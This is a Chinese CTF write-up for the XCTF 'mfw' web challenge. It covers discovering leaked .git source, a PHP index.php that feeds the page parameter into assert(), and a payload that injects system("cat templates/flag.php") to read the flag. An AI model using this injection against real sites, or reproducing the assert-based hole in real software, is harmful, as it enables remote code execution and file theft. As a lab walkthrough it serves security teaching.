CTF-Web安全

攻防世界-Web-mfw

2019-06-29  本文已影响4人  简言之_
题目信息:
image.png
工具:GitHack,dirsearch
知识点:git漏洞、代码审计

打开题目场景,检查网站,发现这样一个页面


image.png

访问.git目录,疑似存在git源码泄露


image.png

再用dirsearch扫描,发现git源码泄露:



使用 GitHack获取源码


image.png
得到源码

index.php中关键代码如下

<?php

if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

如果这个字符串中没有找到相应的子字符串 就返回false
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>
assert() 检查一个断言是否为 FALSE
strpos() 函数查找字符串在另一字符串中第一次出现的位置。如果没有找到则返回False
file_exists() 函数检查文件或目录是否存在。
assert()函数会将括号中的字符当成代码来执行,并返回true或false。

payload:?page=abc') or system("cat templates/flag.php");//

$file =templates/ abc') or system("cat templates/flag.php");// ".php"
因为在strpos中只传入了abc,所以其肯定返回false,在利用or让其执行system函数,再用" // "将后面的语句注释掉
查看网页源代码


图片.png
上一篇 下一篇

猜你喜欢

热点阅读